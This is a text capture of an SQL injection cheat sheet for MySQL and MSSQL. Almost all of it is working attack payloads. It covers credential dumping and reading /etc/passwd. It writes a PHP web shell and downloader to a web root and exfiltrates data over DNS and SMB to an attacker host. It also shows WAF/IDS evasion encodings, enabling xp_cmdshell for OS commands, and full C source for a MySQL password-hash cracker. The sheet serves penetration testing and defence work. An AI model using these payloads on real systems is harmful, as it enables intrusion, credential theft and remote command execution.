07/02/2026, 13:53 The SQL Injection Knowledge Base

MySQL
Default Databases
MySQL
Testing Injection
Comment Out Query
Default Databases
Testing Version
Database Credentials
Database Names mysql Requires root privileges
Server Hostname information_schema Availalble from version 5 and higher
Server MAC Address
Tables and Columns
Avoiding quotations Testing Injection
String concatenation
Conditional
Statements
False means the query is invalid (MySQL errors/missing content on
website)
Timing
Privileges
True means the query is valid (content is displayed as usual)
Reading Files
Writing Files
Out of band
channeling Strings Numeric In a login
Stacked Queries
MySQL-specific code
Fuzzing and
Obfuscation Given the query SELECT * FROM Table WHERE id =
Operators '1';
Constants
Password Hashing ' False
Password Cracking
'' True

MSSQL " False

ORACLE "" True

Extras \ False

\\ True

Examples:

SELECT * FROM Articles WHERE id = '1''';

SELECT 1 FROM dual WHERE 1 =
'1'''''''''''''UNION SELECT '2';

Notes:

You can use as many apostrophes and quotations as you

want as long as they pair up.
It is also possible to continue the statement after the
chain of quotes.
Quotes escape quotes.

[Link] 1/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

Comment Out Query

MySQL
Default Databases The following can be used to comment out the rest of the query after
Testing Injection your injection:
Comment Out Query
Testing Version # Hash comment
Database Credentials
/* C-style comment
Database Names
Server Hostname -- - SQL comment
Server MAC Address
;%00 Nullbyte
Tables and Columns
Avoiding quotations ` Backtick
String concatenation
Conditional
Statements
Examples:
Timing
Privileges SELECT * FROM Users WHERE username = '' OR 1=1 -- -'
Reading Files
AND password = '';
Writing Files SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2,
Out of band
3`';
channeling
Stacked Queries
Note:
MySQL-specific code
Fuzzing and
Obfuscation
The backtick can only be used to end a query when used as an
Operators
alias.
Constants
Password Hashing Testing Version
Password Cracking

MSSQL
Variables Specific Code
ORACLE
Extras

VERSION()
@@VERSION
@@[Link]

Example:

SELECT * FROM Users WHERE id = '1' AND

MID(VERSION(),1,1) = '5';

Note:

Output will contain -nt-log in case the DBMS runs on a

Windows based machine.

[Link] 2/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

Database Credentials
MySQL
Default Databases Table [Link]
Testing Injection
Columns user, password
Comment Out Query
Testing Version user(), current_user(), current_use
Current User r, system_user(), session_user()
Database Credentials
Database Names
Server Hostname Examples:
Server MAC Address
Tables and Columns
SELECT current_user;
Avoiding quotations
SELECT CONCAT_WS(0x3A, user, password) FROM [Link]
String concatenation
WHERE user = 'root'-- (Privileged)
Conditional
Statements
Timing
Privileges Database Names
Reading Files
Writing Files information_schema.schemata, mysql.
Tables
Out of band db
channeling
Stacked Queries Columns schema_name, db

MySQL-specific code Current DB database(), schema()

Fuzzing and
Obfuscation
Operators Examples:
Constants
Password Hashing SELECT database();
Password Cracking SELECT schema_name FROM information_schema.schemata;
SELECT DISTINCT(db) FROM [Link];-- (Privileged)
MSSQL
ORACLE
Extras
Server Hostname

@@HOSTNAME

Example:

SELECT @@hostname;

Server MAC Address

The Universally Unique Identifier is a 128-bit number where the last 12
digits are formed from the interfaces MAC address.

UUID()

Output:

[Link] 3/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee;
MySQL
Default Databases Note:
Testing Injection
Comment Out Query May return a 48-bit random string instead of the MAC address on
Testing Version some Operating Systems.
Database Credentials
Database Names
Server Hostname Tables and Columns
Server MAC Address
Tables and Columns Determining number of columns
Avoiding quotations
String concatenation
Conditional
Statements Order/Group By Error Based
Timing
Privileges
Reading Files
Error Based 2 Error Based 3
Writing Files
Out of band
channeling
Stacked Queries
GROUP/ORDER BY n+1;
MySQL-specific code
Fuzzing and
Notes:
Obfuscation
Operators
Keep incrementing the number until you get a False
Constants
response.
Password Hashing
Password Cracking Even though GROUP BY and ORDER BY have different
funcionality in SQL, they both can be used in the exact
MSSQL same fashion to determine the number of columns in the
query.
ORACLE
Extras
Example:

Given the query SELECT username, password,

permission FROM Users WHERE id = '{INJECTION
POINT}';

1' ORDER BY 1--+ True

1' ORDER BY 2--+ True

1' ORDER BY 3--+ True

1' ORDER BY 4--+ False - Query is only using 3

columns

-1' UNION SELECT 1,2,3--+ True

Retrieving Tables

[Link] 4/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

Union Blind Error

MySQL
Default Databases
UNION SELECT GROUP_CONCAT(table_name) FROM information_s
Testing Injection [Link] WHERE version=10;
Comment Out Query
Testing Version
Database Credentials
Database Names Note:
Server Hostname
Server MAC Address version=10 for MySQL 5
Tables and Columns
Avoiding quotations Retrieving Columns
String concatenation
Conditional
Statements
Timing Union Blind Error
Privileges
Reading Files
PROCEDURE ANALYSE()
Writing Files
Out of band
channeling UNION SELECT GROUP_CONCAT(column_name) FROM information_
Stacked Queries [Link] WHERE table_name = 'tablename'
MySQL-specific code
Fuzzing and
Obfuscation
Operators Retrieving Multiple Tables/Columns at once
Constants
Password Hashing
Password Cracking SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@)
FROM (information_schema.columns) WHERE
(table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,'
MSSQL [ ',table_schema,' ] >',table_name,' >
ORACLE ',column_name))))x
Extras
Example:

SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2,

(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM
(information_schema.columns) WHERE (table_schema>=@)
AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ]
>',table_name,' > ',column_name))))x), 4--+';

Output:

[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME

[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT

[Link] 5/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
[ information_schema ] >COLLATIONS > IS_COMPILED

MySQL
Default Databases
Testing Injection
Comment Out Query
Testing Version
SELECT MID(GROUP_CONCAT(0x3c62723e,
Database Credentials
0x5461626c653a20, table_name, 0x3c62723e,
0x436f6c756d6e3a20, column_name ORDER BY
Database Names
Server Hostname
(SELECT version FROM information_schema.tables)
SEPARATOR 0x3c62723e),1,1024) FROM
Server MAC Address
information_schema.columns
Tables and Columns
Avoiding quotations
String concatenation
Conditional Example:
Statements
Timing SELECT username FROM Users WHERE id = '-1' UNION
Privileges SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20,
Reading Files table_name, 0x3c62723e, 0x436f6c756d6e3a20,
Writing Files column_name ORDER BY (SELECT version FROM
information_schema.tables) SEPARATOR
Out of band
channeling
0x3c62723e),1,1024) FROM information_schema.columns--
+';
Stacked Queries
MySQL-specific code
Fuzzing and
Obfuscation Output:
Operators
Constants
Table: talk_revisions
Password Hashing
Column: revid
Password Cracking
Table: talk_revisions
Column: userid
MSSQL
ORACLE Table: talk_revisions
Column: user
Extras
Table: talk_projects
Column: priority

Find Tables from Column Name

SELECT table_name FROM information_schema.colu Finds the table names f

or any columns named
mns WHERE column_name = 'username';
username.

SELECT table_name FROM information_schema.colu Finds the table names f

or any columns that con
mns WHERE column_name LIKE '%user%';
tain the word user.

Find Columns from Table Name

SELECT column_name FROM information_schema.col Finds the columns for th

umns WHERE table_name = 'Users'; e Users table.

Finds the column names

SELECT column_name FROM information_schema.col
umns WHERE table_name LIKE '%user%'; for any tables that conta
in the word user.

[Link] 6/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

Find out current query

MySQL
SELECT info FROM information_schema.process Available starting from MySQ
Default Databases list L 5.1.7.
Testing Injection
Comment Out Query
Testing Version Avoiding the use of quotations
Database Credentials
Database Names
Hex encodin
Server Hostname SELECT * FROM Users WHERE username = 0x61646D696E
g.
Server MAC Address
Tables and Columns SELECT * FROM Users WHERE username = CHAR(97, 100, 10 CHAR() Func
Avoiding quotations
9, 105, 110) tion.

String concatenation
Conditional
Statements String Concatenation
Timing
Privileges SELECT 'a' 'd' 'mi' 'n';
Reading Files
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
Writing Files
Out of band SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
channeling
Stacked Queries SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');
MySQL-specific code
Fuzzing and Notes:
Obfuscation
Operators
CONCAT() will return NULL if any of its arguements is NULL.
Constants
Instead use CONCAT_WS().
Password Hashing
Password Cracking The first argument of CONCAT_WS() defines the separator for the
rest of its arguments.
MSSQL
ORACLE Conditional Statements
Extras
CASE

IF()

IFNULL()

NULLIF()

Examples:

SELECT IF(1=1, true, false);

SELECT CASE WHEN 1=1 THEN true ELSE false END;

Timing
SLEEP() MySQL 5

BENCHMARK() MySQL 4/5

Example:

[Link] 7/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

' - (IF(MID(version(),1,1) LIKE 5,

MySQL BENCHMARK(100000,SHA1('true')), false)) - '
Default Databases
Testing Injection
Comment Out Query Privileges
Testing Version
Database Credentials File Privileges
Database Names
Server Hostname The following queries can help determine the FILE privileges for a given
Server MAC Address user.
Tables and Columns
Avoiding quotations
Root p
String concatenation MyS
SELECT file_priv FROM [Link] WHERE user = 'userna rivilege
QL
Conditional me'; s requi
4/5
Statements red
Timing No priv
Privileges SELECT grantee, is_grantable FROM information_schema. MyS
ileges r
user_privileges WHERE privilege_type = 'file' AND gra QL
Reading Files equire
ntee like '%username%'; 5
d
Writing Files
Out of band
channeling
Stacked Queries
Reading Files
MySQL-specific code
Fuzzing and Files can be read if the user has FILE privileges.
Obfuscation
Operators
Constants
LOAD_FILE()
Password Hashing
Password Cracking
Examples:
MSSQL
SELECT LOAD_FILE('/etc/passwd');
ORACLE
SELECT LOAD_FILE(0x2F6574632F706173737764);
Extras
Notes:

File must be located on the server host.

The basedirectory for LOAD_FILE() is @@datadir .
The file must be readable by the MySQL user.
The file size must be less than max_allowed_packet.
The default size for @@max_allowed_packet is 1047552 bytes.

Writing Files
Files can be created if the user has FILE privileges.

INTO OUTFILE/DUMPFILE

Examples:

[Link] 8/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

To write a PHP shell:

MySQL SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE
Default Databases '/var/www/[Link]';
Testing Injection
Comment Out Query and then access it at:
Testing Version [Link]
Database Credentials
Database Names
Server Hostname To write a downloader:
Server MAC Address
SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO
Tables and Columns OUTFILE '/var/www/[Link]'
Avoiding quotations
String concatenation
and then access it at:
Conditional
Statements [Link]
Timing f=[Link]&u=[Link]
Privileges
Reading Files
Notes:
Writing Files
Out of band
Files cannot be overwritten with INTO OUTFILE .
channeling
Stacked Queries INTO OUTFILE must be the last statement in the query.
MySQL-specific code There is no way to encode the pathname, so quotes are required.
Fuzzing and
Obfuscation
Operators Out Of Band Channeling
Constants
Password Hashing
DNS Requests
Password Cracking

SELECT LOAD_FILE(CONCAT('\\\\foo.',(select MID(version(),1,

MSSQL 1)),'.[Link]\\'));

ORACLE
Extras SMB Requests

' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\[Link]

Stacked Queries
Stacked queries are possible with MySQL depending on which driver is
being used by the PHP application to communicate with the database.

The PDO_MYSQL driver supports stacked queries. The MySQLi (Improved

Extension) driver also supports stacked queries through the
multi_query() function.

Examples:

SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO

Users(username, password, priv) VALUES ('BobbyTables',
'kl20da$$','admin');

[Link] 9/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

SELECT * FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS

FROM Users;
MySQL
Default Databases
Testing Injection MySQL-specific code
Comment Out Query
Testing Version
MySQL allows you to specify the version number after the exclamation
Database Credentials
mark. The syntax within the comment is only executed if the version is
Database Names
greater or equal to the specified version number.
Server Hostname
Server MAC Address
Tables and Columns Examples:
Avoiding quotations
String concatenation
UNION SELECT /*!50000 5,null;%00*//*!40000 4,null--
Conditional
,*//*!30000 3,null-- x*/0,null--+
Statements
Timing
SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!
(/*!/*!/*!*/);
Privileges
Reading Files
Writing Files Notes:
Out of band
channeling The first example returns the version; it uses a UNION with 2
Stacked Queries
columns.
MySQL-specific code
Fuzzing and The second example demonstrates how this can be useful for
Obfuscation bypassing a WAF/IDS.
Operators
Constants
Password Hashing
Fuzzing and Obfuscation
Password Cracking
Allowed Intermediary Characters
MSSQL
The following characters can be used as whitespaces.
ORACLE
Extras 09 Horizontal Tab

0A New Line

0B Vertical Tab

0C New Page

0D Carriage Return

A0 Non-breaking Space

20 Space

Example:

'%0A%09UNION%0CSELECT%A0NULL%20%23

Parentheses can also be used to avoid the use of spaces.

28 (

[Link] 10/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

29 )
MySQL
Default Databases Example:
Testing Injection
Comment Out Query UNION(SELECT(column)FROM(table))
Testing Version
Database Credentials
Database Names Allowed Intermediary Characters after AND/OR
Server Hostname
Server MAC Address 20 Space
Tables and Columns
2B +
Avoiding quotations
String concatenation 2D -
Conditional
Statements 7E ~
Timing
21 !
Privileges
Reading Files 40 @
Writing Files
Out of band
Example:
channeling
Stacked Queries
MySQL-specific code SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
Fuzzing and
Obfuscation
Note:
Operators
Constants
dual is a dummy table which can be used for testing.
Password Hashing
Password Cracking
Obfuscating with Comments
MSSQL
Comments can be used to break up the query to trick the WAF/IDS and
ORACLE avoid detection. By using # or -- followed by a newline, we can split the
Extras query into separate lines.

Example:

1'#
AND 0--
UNION# I am a comment!
SELECT@tmp:=table_name x FROM--
`information_schema`.tables LIMIT 1#

URL Encoded the injection would look like:

1'%23%0AAND 0--%0AUNION%23 I am a
comment!%0ASELECT@tmp:=table_name x FROM--
%0A`information_schema`.tables LIMIT 1%23

Certain functions can also be obfuscated with comments and

whitespaces.

VERSION/**/%A0 (/*comment*/)

[Link] 11/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

Encodings
MySQL
Encoding your injection can sometimes be useful for WAF/IDS evasion.
Default Databases
Testing Injection
SELECT %74able_%6eame FROM informat
Comment Out Query URL Encoding
ion_schema.tables;
Testing Version
SELECT %2574able_%256eame FROM info
Database Credentials Double URL Encoding
rmation_schema.tables;
Database Names
Server Hostname SELECT %u0074able_%u6eame FROM info
Unicode Encoding
Server MAC Address rmation_schema.tables;
Tables and Columns SELECT %tab%le_%na%me FROM informat
Avoiding quotations Invalid Hex Encoding (ASP) ion_schema.tables;
String concatenation
Conditional
Statements Avoiding Keywords
Timing
Privileges If an IDS/WAF has blocked certain keywords, there are other ways of
Reading Files getting around it without using encodings.
Writing Files
Out of band
channeling information_schema.tables
Stacked Queries
MySQL-specific code Spaces information_schema . tables
Fuzzing and
Obfuscation Backticks `information_schema`.`tables`
Operators
Specific Code /*!information_schema.tables*/
Constants
Password Hashing information_schema.partitions
Password Cracking information_schema.statistics
Alternative Names information_schema.key_column_usage
information_schema.table_constraint
MSSQL s

ORACLE
Note:
Extras
The alternate names may depend on a PRIMARY Key being present
in the table.

Operators
AND , && Logical AND

Assign a value (as part of a SET statement, or as pa

=
rt of the SET clause in an UPDATE statement)

:= Assign a value

BETWEEN ... AND ... Check whether a value is within a range of values

BINARY Cast a string to a binary string

& Bitwise AND

~ Invert bits

| Bitwise OR

^ Bitwise XOR

[Link] 12/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

CASE Case operator

MySQL DIV Integer division
Default Databases
/ Division operator
Testing Injection
Comment Out Query <=> NULL-safe equal to operator
Testing Version
= Equal operator
Database Credentials
Database Names >= Greater than or equal operator
Server Hostname
> Greater than operator
Server MAC Address
Tables and Columns IS NOT NULL NOT NULL value test
Avoiding quotations
String concatenation IS NOT Test a value against a boolean
Conditional
IS NULL NULL value test
Statements
Timing IS Test a value against a boolean
Privileges
<< Left shift
Reading Files
Writing Files <= Less than or equal operator
Out of band
channeling < Less than operator
Stacked Queries
LIKE Simple pattern matching
MySQL-specific code
Fuzzing and - Minus operator
Obfuscation
Operators % or MOD Modulo operator
Constants Check whether a value is not within a range of value
NOT BETWEEN ... AND ...
Password Hashing s
Password Cracking
!= , <> Not equal operator

MSSQL NOT LIKE Negation of simple pattern matching

ORACLE NOT REGEXP Negation of REGEXP

Extras NOT , ! Negates value

|| , OR Logical OR

+ Addition operator

REGEXP Pattern matching using regular expressions

>> Right shift

RLIKE Synonym for REGEXP

SOUNDS LIKE Compare sounds

* Multiplication operator

- Change the sign of the argument

XOR Logical XOR

Constants
current_user

null, \N

[Link] 13/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

true, false
MySQL
Default Databases Password Hashing
Testing Injection
Comment Out Query
Prior to MySQL 4.1, password hashes computed by the PASSWORD()
Testing Version
function are 16 bytes long. Such hashes look like this:
Database Credentials
Database Names
PASSWORD('mypass') 6f8c114b58f2ce9e
Server Hostname
Server MAC Address
Tables and Columns As of MySQL 4.1, the PASSWORD() function has been modified to
Avoiding quotations produce a longer 41-byte hash value:
String concatenation
Conditional *6C8989366EAF75BB670AD8EA7A7FC1176A
PASSWORD('mypass')
Statements 95CEF4

Timing
Privileges
Reading Files
Password Cracking
Writing Files
Out of band Cain & Abel and John the Ripper are both capable of cracking MySQL 3.x-
channeling 6.x passwords.
Stacked Queries
MySQL-specific code A Metasploit module for JTR can be found here.
Fuzzing and
Obfuscation MySQL < 4.1 Password Cracker
Operators
Constants
This tool is a high-speed brute-force password cracker for MySQL hashed
Password Hashing
passwords. It can break an 8-character password containing any printable
Password Cracking
ASCII characters in a matter of hours on an ordinary PC.

MSSQL
/* This program is public domain. Share and enjoy.
ORACLE *
* Example:
Extras * $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
* $ MySQLfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include <stdio.h>

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */

#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */

#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)

{
int i, c;
u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
u32 newstate1, newstate2, newstate3;
[Link] 14/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
MySQL i = -1;
sum = 7;
state1_ary[0] = 1345345333L;
Default Databases state2_ary[0] = 0x12345671L;
Testing Injection
while (1) {
Comment Out Query
while (i < stop) {
Testing Version i++;
Database Credentials pass_ary[i] = MIN_CHAR;
step_ary[i] = (state1_ary[i] & 0x3f) + sum;
Database Names xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
Server Hostname sum += MIN_CHAR;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
Server MAC Address state2_ary[i+1] = state2_ary[i]
Tables and Columns + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}
Avoiding quotations
String concatenation state1 = state1_ary[i+1];
Conditional state2 = state2_ary[i+1];
step = (state1 & 0x3f) + sum;
Statements
xor1 = step*MIN_CHAR + (state1 << 8);
Timing xor2 = (state2 << 8) ^ state1;
Privileges
for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
Reading Files newstate2 = state2 + (xor1 ^ xor2);
Writing Files newstate1 = state1 ^ xor1;

Out of band newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);

channeling div = (newstate1 & 0x3f) + sum + c;
Stacked Queries diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
if (diff % div != 0) continue;
MySQL-specific code d = diff / div;
Fuzzing and if (d < MIN_CHAR || d > MAX_CHAR) continue;
Obfuscation
div = (newstate3 & 0x3f) + sum + c + d;
Operators diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
Constants if (diff % div != 0) continue;
e = diff / div;
Password Hashing if (e < MIN_CHAR || e > MAX_CHAR) continue;
Password Cracking
pass_ary[i+1] = c;
pass_ary[i+2] = d;
MSSQL pass_ary[i+3] = e;
return 1;
ORACLE }

Extras while (i >= 0 && pass_ary[i] >= MAX_CHAR) {

sum -= MAX_CHAR;
i--;
}
if (i < 0) break;
pass_ary[i]++;
xor_ary[i] += step_ary[i];
sum++;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}

return 0;
}

void crack(char *hash)

{
int i, len;
u32 targ1, targ2, targ3;
int pass[MAX_LEN];

if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {

printf("Invalid password hash: %s\n", hash);
return;
}
printf("Hash: %08lx%08lx\n", targ1, targ2);
targ3 = targ2 - targ1;
targ3 = targ2 - ((targ3 << 8) ^ targ1);
targ3 = targ2 - ((targ3 << 8) ^ targ1);
targ3 = targ2 - ((targ3 << 8) ^ targ1);

[Link] 15/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
for (len = 3; len <= MAX_LEN; len++) {
printf("Trying length %d\n", len);
MySQL if ( crack0(len-4, targ1, targ3, pass) ) {
printf("Found pass: ");
for (i = 0; i < len; i++)
Default Databases putchar(pass[i]);
Testing Injection putchar('\n');
break;
Comment Out Query
}
Testing Version }
Database Credentials if (len > MAX_LEN)
printf("Pass not found\n");
Database Names }
Server Hostname
int main(int argc, char *argv[])
Server MAC Address {
Tables and Columns int i;
if (argc <= 1)
Avoiding quotations
printf("usage: %s hash\n", argv[0]);
String concatenation for (i = 1; i < argc; i++)
Conditional crack(argv[i]);
return 0;
Statements
}
Timing
Privileges
Reading Files
Writing Files
Out of band
MSSQL
channeling
Stacked Queries
MySQL-specific code
Default Databases
Fuzzing and
Obfuscation pubs Not available on MSSQL 2005
Operators
Constants
model Available in all versions

Password Hashing msdb Available in all versions

Password Cracking
tempdb Available in all versions

MSSQL northwind Available in all versions

ORACLE information_schema Availalble from MSSQL 2000 and higher

Extras
Comment Out Query
The following can be used to comment out the rest of the query after
your injection:

/* C-style comment

-- SQL comment

;%00 Nullbyte

Example:

SELECT * FROM Users WHERE username = '' OR 1=1 --' AND

password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2,
3/*';

Testing Version
[Link] 16/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

@@VERSION
MySQL
Default Databases
Testing Injection Example:
Comment Out Query
Testing Version
True if MSSQL version is 2008.
Database Credentials
SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE
Database Names
'%2008%';
Server Hostname
Server MAC Address
Tables and Columns Note:
Avoiding quotations
String concatenation Output will also contain the version of the Windows Operating
Conditional System.
Statements
Timing
Privileges Database Credentials
Reading Files
Writing Files master..syslogins, master..sysproce
Database..Table
Out of band sses
channeling
Stacked Queries Columns name, loginame

MySQL-specific code user, system_user, suser_sname(), i

Fuzzing and Current User
s_srvrolemember('sysadmin')
Obfuscation
Operators SELECT user, password FROM master.d
Database Credentials [Link]
Constants
Password Hashing
Password Cracking Example:

MSSQL Return current user:

ORACLE SELECT loginame FROM master..sysprocesses WHERE

spid=@@SPID;
Extras
Check if user is admin:
SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1)
THEN '1' ELSE '0' END);

Database Names
[Link] master..sysdatabases

Column name

Current DB DB_NAME(i)

Examples:

SELECT DB_NAME(5);
SELECT name FROM master..sysdatabases;

Server Hostname
[Link] 17/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

@@SERVERNAME
MySQL SERVERPROPERTY()
Default Databases
Testing Injection Examples:
Comment Out Query
Testing Version
SELECT SERVERPROPERTY('productversion'),
Database Credentials SERVERPROPERTY('productlevel'),
Database Names SERVERPROPERTY('edition');
Server Hostname
Server MAC Address
Tables and Columns Note:
Avoiding quotations
String concatenation SERVERPROPERTY() is available from MSSQL 2005 and higher.
Conditional
Statements
Timing
Tables and Columns
Privileges
Reading Files Determining number of columns
Writing Files
Out of band
channeling
ORDER BY n+1;
Stacked Queries
MySQL-specific code
Fuzzing and Example:
Obfuscation
Operators
Constants Given the query: SELECT username, password, permission FROM
Users WHERE id = '1';
Password Hashing
Password Cracking
1' ORDER BY 1-- True

MSSQL 1' ORDER BY 2-- True

ORACLE 1' ORDER BY 3-- True

Extras 1' ORDER BY 4-- False - Query is only using 3 columns

-1' UNION SELECT 1,2,3-- True

Note:

Keep incrementing the number until you get a False response.

The following can be used to get the columns in the current query.

GROUP BY / HAVING

Example:

Given the query: SELECT username, password, permission FROM Users

WHERE id = '1';

[Link] 18/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

Column '[Link]' is invalid in

the select list because it is not contain
MySQL 1' HAVING 1=1--
ed in either an aggregate function or t
he GROUP BY clause.
Default Databases
Testing Injection Column '[Link]' is invalid in t
Comment Out Query he select list because it is not contain
1' GROUP BY username HAVING 1=1--
ed in either an aggregate function or t
Testing Version he GROUP BY clause.
Database Credentials
Database Names Column '[Link]' is invalid i
1' GROUP BY username, password HAVI n the select list because it is not conta
Server Hostname NG 1=1-- ined in either an aggregate function o
Server MAC Address r the GROUP BY clause.
Tables and Columns
1' GROUP BY username, password, per
Avoiding quotations No Error
mission HAVING 1=1--
String concatenation
Conditional
Statements Note:
Timing
Privileges No error will be returned once all columns have been included.
Reading Files
Writing Files
Retrieving Tables
Out of band
channeling
Stacked Queries We can retrieve the tables from two different databases,
MySQL-specific code information_schema.tables or from master..sysobjects.
Fuzzing and
Obfuscation
Operators Union Blind Error
Constants
Password Hashing
Password Cracking UNION SELECT name FROM master..sysobjects WHERE xtype
='U'

MSSQL
ORACLE
Note:
Extras
Xtype = 'U' is for User-defined tables. You can use 'V' for views.

Retrieving Columns

We can retrieve the columns from two different databases,

information_schema.columns or masters..syscolumns.

Union Blind Error

UNION SELECT name FROM master..syscolumns WHERE id = (SE

LECT id FROM master..syscolumns WHERE name = 'tablenam
e')

Retrieving Multiple Tables/Columns at once

The following 3 queries will create a temporary table/column and insert

all the user-defined tables into it. It will then dump the table content and

[Link] 19/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

finish by deleting the table.

MySQL
Create Temp Table/Column and Insert Data:
Default Databases
Testing Injection AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':'
SELECT @xy=@xy+' '+name FROM sysobjects WHERE
Comment Out Query
xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB
Testing Version END;
Database Credentials
Database Names
Server Hostname Dump Content:
Server MAC Address
AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
Tables and Columns
Avoiding quotations
String concatenation
Delete Table:
Conditional
Statements AND 1=0; DROP TABLE TMP_DB;
Timing
Privileges
An easier method is available starting with MSSQL 2005 and higher. The
Reading Files
XML function path() works as a concatenator, allowing the retrieval of all
Writing Files
tables with 1 query.
Out of band
channeling
Stacked Queries SELECT table_name %2b ', ' FROM information_schema.tabl SQL Server
es FOR XML PATH('') 2005+
MySQL-specific code
Fuzzing and
Obfuscation Note:
Operators
Constants You can encode your query in hex to "obfuscate" your attack.
Password Hashing ' AND 1=0; DECLARE @S VARCHAR(4000) SET
Password Cracking @S=CAST(0x44524f50205441424c4520544d505f44423b
AS VARCHAR(4000)); EXEC (@S);--
MSSQL
ORACLE Avoiding the use of quotations
Extras
SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR
(109) + CHAR(105) + CHAR(110)

String Concatenation
SELECT CONCAT('a','a','a'); (SQL SERVER 2012)

SELECT 'a'+'d'+'mi'+'n';

Conditional Statements
IF

CASE

Examples:

IF 1=1 SELECT 'true' ELSE SELECT 'false';

[Link] 20/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

SELECT CASE WHEN 1=1 THEN true ELSE false END;

MySQL
Default Databases
Note:
Testing Injection
Comment Out Query
IF cannot be used inside a SELECT statement.
Testing Version
Database Credentials Timing
Database Names
Server Hostname
Server MAC Address WAITFOR DELAY 'time_to_pass';
Tables and Columns
WAITFOR TIME 'time_to_execute';
Avoiding quotations
String concatenation
Conditional
Statements Example:
Timing
Privileges IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY
Reading Files '0:0:0';
Writing Files
Out of band
channeling
Stacked Queries
OPENROWSET Attacks
MySQL-specific code
Fuzzing and SELECT * FROM OPENROWSET('SQLOLEDB', '[Link]';'sa';'p4ssw0r
Obfuscation d', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');

Operators
Constants
Password Hashing
System Command Execution
Password Cracking
Include an extended stored procedure named xp_cmdshell that can be
MSSQL used to execute operating system commands.

ORACLE
EXEC [Link].xp_cmdshell 'cmd';
Extras

Starting with version MSSQL 2005 and higher, xp_cmdshell is disabled by

default, but can be activated with the following queries:

EXEC sp_configure 'show advanced options', 1

EXEC sp_configure reconfigure

EXEC sp_configure 'xp_cmdshell', 1

EXEC sp_configure reconfigure

Alternatively, you can create your own procedure to achieve the same
results:

DECLARE @execmd INT

EXEC SP_OACREATE '[Link]', @execmd OUTPUT

[Link] 21/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cm

[Link] /c'
MySQL
Default Databases
Testing Injection
